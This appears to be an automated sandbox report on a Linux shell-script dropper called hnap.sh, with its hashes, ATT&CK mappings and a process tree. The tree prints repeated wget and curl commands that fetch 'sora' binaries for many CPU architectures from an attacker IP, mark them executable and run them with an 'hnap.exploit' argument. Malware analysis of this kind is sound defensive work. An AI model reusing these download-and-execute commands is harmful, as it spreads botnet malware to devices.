df7115e69f2918abfbc986403ba2cd5b273cef69685c24d9f06ceecd9a2a2e28

Analysis

max time kernel
50s
max time network
51s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
10/11/2024, 18:43

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General

Target
hnap.sh
Size 2KB
Sample241110-xcxjxsshjc
SHA256 df7115e69f2918abfbc986403ba2cd5b273cef69685c24d9f06ceecd9a2a2e28
MD5 18446970bdd94159ee7cbe5586abb6b6
SHA1 2d161634df945072d149613829b5d7578e5722f8
SHA512 20940801b0ab8f5f04c55dc2a1eb10e17edeb48a797d8396fe3b68a76da093be69a340a7bb88c7bddb0131783e71e08932885ffec448eb0796babf4bcd029db5
MD5 SHA1 SHA512

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
746	chmod
768	chmod
798	chmod
817	chmod
735	chmod
842	chmod
865	chmod
754	chmod
761	chmod
781	chmod
895	chmod
851	chmod
858	chmod
878	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/robben	736	robben
/tmp/robben	747	robben
/tmp/robben	755	robben
/tmp/robben	762	robben
/tmp/robben	769	robben
/tmp/robben	782	robben
/tmp/robben	800	robben
/tmp/robben	818	robben
/tmp/robben	843	robben
/tmp/robben	852	robben
/tmp/robben	859	robben
/tmp/robben	866	robben
/tmp/robben	880	robben
/tmp/robben	897	robben

Reads runtime system information 14 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
742	curl
745	cat
738	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/robben	hnap.sh

/tmp/hnap.sh
/tmp/hnap.sh
1⤵
- Writes file to tmp directory
PID:709
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.x86
  2⤵
  PID:712
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.x86
  2⤵
  - Reads runtime system information
  PID:721
- /bin/cat
  cat sora.x86
  2⤵
  PID:733
- /bin/chmod
  chmod +x hnap.sh robben systemd-private-970d4248598c46f996a9e6a2a2b31f98-systemd-timedated.service-72eVn7
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/robben
  ./robben hnap.exploit
  2⤵
  - Executes dropped EXE
  PID:736
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:738
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:742
- /bin/cat
  cat sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:745
- /bin/chmod
  chmod +x hnap.sh robben systemd-private-970d4248598c46f996a9e6a2a2b31f98-systemd-timedated.service-72eVn7
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/robben
  ./robben hnap.exploit
  2⤵
  - Executes dropped EXE
  PID:747
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.x86_64
  2⤵
  PID:749
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.x86_64
  2⤵
  - Reads runtime system information
  PID:751
- /bin/cat
  cat sora.x86_64
  2⤵
  PID:753
- /bin/chmod
  chmod +x hnap.sh robben systemd-private-970d4248598c46f996a9e6a2a2b31f98-systemd-timedated.service-72eVn7
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/robben
  ./robben hnap.exploit
  2⤵
  - Executes dropped EXE
  PID:755
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.i468
  2⤵
  PID:757
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.i468
  2⤵
  - Reads runtime system information
  PID:758
- /bin/cat
  cat sora.i468
  2⤵
  PID:760
- /bin/chmod
  chmod +x hnap.sh robben systemd-private-970d4248598c46f996a9e6a2a2b31f98-systemd-timedated.service-72eVn7
  2⤵
  - File and Directory Permissions Modification
  PID:761
- /tmp/robben
  ./robben hnap.exploit
  2⤵
  - Executes dropped EXE
  PID:762
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.i686
  2⤵
  PID:764
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.i686
  2⤵
  - Reads runtime system information
  PID:765
- /bin/cat
  cat sora.i686
  2⤵
  PID:767
- /bin/chmod
  chmod +x hnap.sh robben systemd-private-970d4248598c46f996a9e6a2a2b31f98-systemd-timedated.service-72eVn7
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /tmp/robben
  ./robben hnap.exploit
  2⤵
  - Executes dropped EXE
  PID:769
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.mpsl
  2⤵
  PID:771
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.mpsl
  2⤵
  - Reads runtime system information
  PID:772
- /bin/cat
  cat sora.mpsl
  2⤵
  PID:779
- /bin/chmod
  chmod +x hnap.sh robben systemd-private-970d4248598c46f996a9e6a2a2b31f98-systemd-timedated.service-72eVn7
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/robben
  ./robben hnap.exploit
  2⤵
  - Executes dropped EXE
  PID:782
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm4
  2⤵
  PID:785
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm4
  2⤵
  - Reads runtime system information
  PID:788
- /bin/cat
  cat sora.arm4
  2⤵
  PID:797
- /bin/chmod
  chmod +x hnap.sh robben systemd-private-970d4248598c46f996a9e6a2a2b31f98-systemd-timedated.service-72eVn7
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/robben
  ./robben hnap.exploit
  2⤵
  - Executes dropped EXE
  PID:800
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm5
  2⤵
  PID:803
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm5
  2⤵
  - Reads runtime system information
  PID:806
- /bin/cat
  cat sora.arm5
  2⤵
  PID:814
- /bin/chmod
  chmod +x hnap.sh robben systemd-private-970d4248598c46f996a9e6a2a2b31f98-systemd-timedated.service-72eVn7
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/robben
  ./robben hnap.exploit
  2⤵
  - Executes dropped EXE
  PID:818
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm6
  2⤵
  PID:820
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm6
  2⤵
  - Reads runtime system information
  PID:825
- /bin/cat
  cat sora.arm6
  2⤵
  PID:839
- /bin/chmod
  chmod +x hnap.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/robben
  ./robben hnap.exploit
  2⤵
  - Executes dropped EXE
  PID:843
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.arm7
  2⤵
  PID:845
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.arm7
  2⤵
  - Reads runtime system information
  PID:847
- /bin/cat
  cat sora.arm7
  2⤵
  PID:850
- /bin/chmod
  chmod +x hnap.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/robben
  ./robben hnap.exploit
  2⤵
  - Executes dropped EXE
  PID:852
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.ppc
  2⤵
  PID:854
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.ppc
  2⤵
  - Reads runtime system information
  PID:855
- /bin/cat
  cat sora.ppc
  2⤵
  PID:857
- /bin/chmod
  chmod +x hnap.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:858
- /tmp/robben
  ./robben hnap.exploit
  2⤵
  - Executes dropped EXE
  PID:859
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.ppc440fp
  2⤵
  PID:861
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.ppc440fp
  2⤵
  - Reads runtime system information
  PID:862
- /bin/cat
  cat sora.ppc440fp
  2⤵
  PID:864
- /bin/chmod
  chmod +x hnap.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/robben
  ./robben hnap.exploit
  2⤵
  - Executes dropped EXE
  PID:866
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.m68k
  2⤵
  PID:868
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.m68k
  2⤵
  - Reads runtime system information
  PID:869
- /bin/cat
  cat sora.m68k
  2⤵
  PID:877
- /bin/chmod
  chmod +x hnap.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/robben
  ./robben hnap.exploit
  2⤵
  - Executes dropped EXE
  PID:880
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.sh4
  2⤵
  PID:882
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.sh4
  2⤵
  - Reads runtime system information
  PID:886
- /bin/cat
  cat sora.sh4
  2⤵
  PID:894
- /bin/chmod
  chmod +x hnap.sh robben
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/robben
  ./robben hnap.exploit
  2⤵
  - Executes dropped EXE
  PID:897

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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